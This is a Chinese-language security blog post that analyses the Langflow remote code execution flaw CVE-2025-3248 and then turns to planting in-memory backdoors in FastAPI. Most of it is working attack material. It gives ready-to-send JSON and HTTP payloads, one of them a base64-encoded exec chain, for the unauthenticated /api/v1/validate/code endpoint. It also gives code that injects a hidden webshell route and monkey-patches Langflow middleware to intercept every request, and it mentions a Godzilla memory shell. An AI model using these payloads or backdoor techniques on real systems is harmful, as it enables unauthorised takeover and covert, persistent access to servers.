从langflow代码执行漏洞到FastApi内存马
本文从LangFlow代码执行漏洞衍生到如何注入FastApi内存马
漏洞描述
CVE-2025-3248是Langflow平台中一个严重程度为高危的远程代码执行(RCE)漏洞。Langflow作为一个开源的AI工作流构建平台,允许用户通过可视化界面创建和管理AI驱动的自动化流程。该漏洞存在于代码验证功能中,攻击者无需任何身份验证即可通过精心构造的恶意请求在服务器上执行任意代码,完全控制系统。
漏洞影响
· Langflow 1.0.0至1.2.9的所有版本
环境搭建
本文使用langflow 1.1.4版本进行测试
下载地址:https://codeload.github.com/langflow-ai/langflow/zip/refs/tags/1.1.4
创建环境变量 python -m venv .venv
启用后端服务 uv run langflow run --backend-only
配置调试模式
{
"version": "0.2.0",
"configurations": [
{
"name": "Python 调试程序: 模块",
"type": "debugpy",
"request": "launch",
"module": "langflow",
"args": ["run","--backend-only"]
}]
}漏洞分析
根据漏洞通告,漏洞接口在/api/v1/validate/code
在此处下断点,进入validate_code
调用ast去解析传入的code
ast如何解析的可以查看文档
https://docs.python.org/zh-cn/3.11/library/ast.html
文档中指出,抽象语法树可以被compile编译为一个Python代码对象
可以看出,漏洞点为通过exec函数执行了code_obj对象,想要执行exec(code_obj) 需要满足code为一个函数对象
如何在调用exec的时候就执行code_obj里面的函数呢?
在python中存在一个特性:函数的默认参数表达式(如 x = ...)在函数定义的那一刻就会被计算,而不是等到调用时。
于是我们可以构造出
def dummy(x = (lambda: exec("""import subprocess\nsubprocess.run('calc.exe')"""))()):
pass{"code": "def dummy(x=exec("__import__('subprocess').run('calc.exe')")): pass"}{"code": "def _(a=__import__('subprocess').run('calc.exe')):pass"}
成功执行
FastApi内存马
首先我们搭建一个FastApi环境
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
app = FastAPI(
title="FastAPI Code Executor",
description="ASGI application with /exec and /eval endpoints"
)
class CodePayload(BaseModel):
code: str
class ExecResponse(BaseModel):
status: str
namespace: dict | None = None
error: str | None = None
type: str | None = None
class EvalResponse(BaseModel):
status: str
result: str | None = None
error: str | None = None
type: str | None = None
@app.post('/exec', response_model=ExecResponse)
async def execute_code(payload: CodePayload):
"""Execute code using exec()"""
try:
namespace = {}
exec(payload.code, namespace)
# Return any result stored in namespace (excluding builtins)
result = {k: str(v) for k, v in namespace.items() if not k.startswith('__')}
return ExecResponse(status='success', namespace=result)
except Exception as e:
raise HTTPException(
status_code=500,
detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
)
@app.post('/eval', response_model=EvalResponse)
async def evaluate_code(payload: CodePayload):
"""Evaluate code using eval()"""
try:
result = eval(payload.code)
return EvalResponse(status='success', result=str(result))
except Exception as e:
raise HTTPException(
status_code=500,
detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
)
@app.get('/')
async def index():
"""Index route with API info"""
return {
'framework': 'FastAPI',
'type': 'ASGI',
'routes': {
'/exec': 'POST - Execute code with exec()',
'/eval': 'POST - Evaluate expression with eval()'
},
'payload_format': {'code': 'your_code_here'},
'docs': '/docs'
}
if __name__ == '__main__':
import uvicorn
uvicorn.run(app, host='0.0.0.0', port=5003)注入内存马最重要的就是获取上下文中的fastapi对象,如何获取呢
在python中所有已经被加载的模块都存入到了sys.modules这个字典中


例如遍历已加载的对象

这个时候我们可以通过遍历sys.modules来找到fastapi对象
在调试窗口中执行此代码,可以看见已经找到了fastapi对象

编写注入代码
import sys
from fastapi import FastAPI, Request, Response
found_apps = []
for module in sys.modules.values():
if module is None:
continue
try:
module_dict = vars(module)
for name, obj in module_dict.items():
if isinstance(obj, FastAPI):
app_info = (module.__name__, name, obj)
found_apps.append(app_info)
def inject_shell(app: FastAPI):
@app.post('/JpM9')
@app.get('/JpM9')
async def shell(request: Request):
try:
body = await request.body()
return Response(content=b"WEBSHELL: " + body,
media_type="application/octet-stream")
except Exception:
return Response(content=b"Error", status_code=500)
print(f"[+] 成功注入后门路由 /JpM9 到 {app.title or 'Unknown App'} ({name})")
inject_shell(obj)
except Exception as e:
pass
print("找到并注入的 FastAPI 实例:", found_apps)成功注入


通过exec进行注入哥斯拉内存马

成功连接

在langflow中,此方法不可行,遍历sys.modules时发现为空,找不到FastAPI实例

为什么找不到?
在langflow create_app() 作为临时返回值直接传给 uvicorn服务器,所有无法被找到

测试代码,create_app()作为临时变量传递给uvicorn
# main.py
import uvicorn
from app_factory import create_app
if __name__ == "__main__":
uvicorn.run(create_app(), host="127.0.0.1", port=8000)# app_factory.py
from fastapi import FastAPI
def create_app() -> FastAPI:
app = FastAPI(title="Factory Mode - Hidden App", version="1.0.0")
@app.get("/")
async def root():
return {"message": "1"}
return app遍历sys.modules时将无法找到

更为强大的注入方式 利用FastAPI.call
FastAPI.call使 FastAPI 应用成为一个符合 ASGI 规范的可调用对象,是整个 HTTP 请求处理的起点和核心驱动函数。所有进来的请求都会触发 await app(scope, receive, send),即调用这个方法
所有的请求都要调用call函数

编写代码获取call函数实例
import gc
from langflow.middleware import ContentSizeLimitMiddleware
def find_all_content_size_instances():
instances = []
for obj in gc.get_objects():
if isinstance(obj, ContentSizeLimitMiddleware):
instances.append(obj)
print(f"找到实例: {obj} (id: {id(obj)})")
print(" __call__:", obj.__call__)
print(f"共找到 {len(instances)} 个 ContentSizeLimitMiddleware 实例")
return instances
instances = find_all_content_size_instances()
使用/api/v1/validate/code接口漏洞去找到实例对象,已经成功找到
POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1:7860
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 787
{"code": "def _(x=(lambda: exec(__import__(\"base64\").b64decode(\"aW1wb3J0IGdjCmZyb20gbGFuZ2Zsb3cubWlkZGxld2FyZSBpbXBvcnQgQ29udGVudFNpemVMaW1pdE1pZGRsZXdhcmUKCmRlZiBmaW5kX2FsbF9jb250ZW50X3NpemVfaW5zdGFuY2VzKCk6CiAgICBpbnN0YW5jZXMgPSBbXQogICAgZm9yIG9iaiBpbiBnYy5nZXRfb2JqZWN0cygpOgogICAgICAgIGlmIGlzaW5zdGFuY2Uob2JqLCBDb250ZW50U2l6ZUxpbWl0TWlkZGxld2FyZSk6CiAgICAgICAgICAgIGluc3RhbmNlcy5hcHBlbmQob2JqKQogICAgICAgICAgICBwcmludChmIuaJvuWIsOWunuS+izoge29ian0gKGlkOiB7aWQob2JqKX0pIikKICAgICAgICAgICAgcHJpbnQoIiAgX19jYWxsX186Iiwgb2JqLl9fY2FsbF9fKQogICAgCiAgICBwcmludChmIuWFseaJvuWIsCB7bGVuKGluc3RhbmNlcyl9IOS4qiBDb250ZW50U2l6ZUxpbWl0TWlkZGxld2FyZSDlrp7kvosiKQogICAgcmV0dXJuIGluc3RhbmNlcwoKaW5zdGFuY2VzID0gZmluZF9hbGxfY29udGVudF9zaXplX2luc3RhbmNlcygp\").decode(),globals()))()):\n pass"}
现在就可以针对此代码编写我们自己的hook函数来注入内存马
from types import MethodType
from fastapi.responses import JSONResponse
def patch_content_size_middleware(
test_path: str = "/api/v1/inject/test"
):
try:
from langflow.middleware import ContentSizeLimitMiddleware
except ImportError:
return
original_call = ContentSizeLimitMiddleware.__call__
async def patched_call(self, scope, receive, send):
if scope["type"] != "http":
return await original_call(self, scope, receive, send)
path = scope.get("path", "")
method = scope.get("method", "")
if path == test_path and method == "GET":
response = JSONResponse(
content={
"status": "patched_success"
}
)
await response(scope, receive, send)
return
return await original_call(self, scope, receive, send)
patched_call = MethodType(patched_call, ContentSizeLimitMiddleware)
ContentSizeLimitMiddleware.__call__ = patched_call
patch_content_size_middleware()注入成功,实在环境中一定要对注入的代码做好异常处理,不然程序会直接崩溃!

本文深入分析Langflow高危RCE漏洞(CVE-2025-3248),揭示其通过AST解析导致任意代码执行的原理,并探索基于FastAPI内存马的持久化攻击技术。
由 AI 根据全文自动生成,仅供参考,以原文为准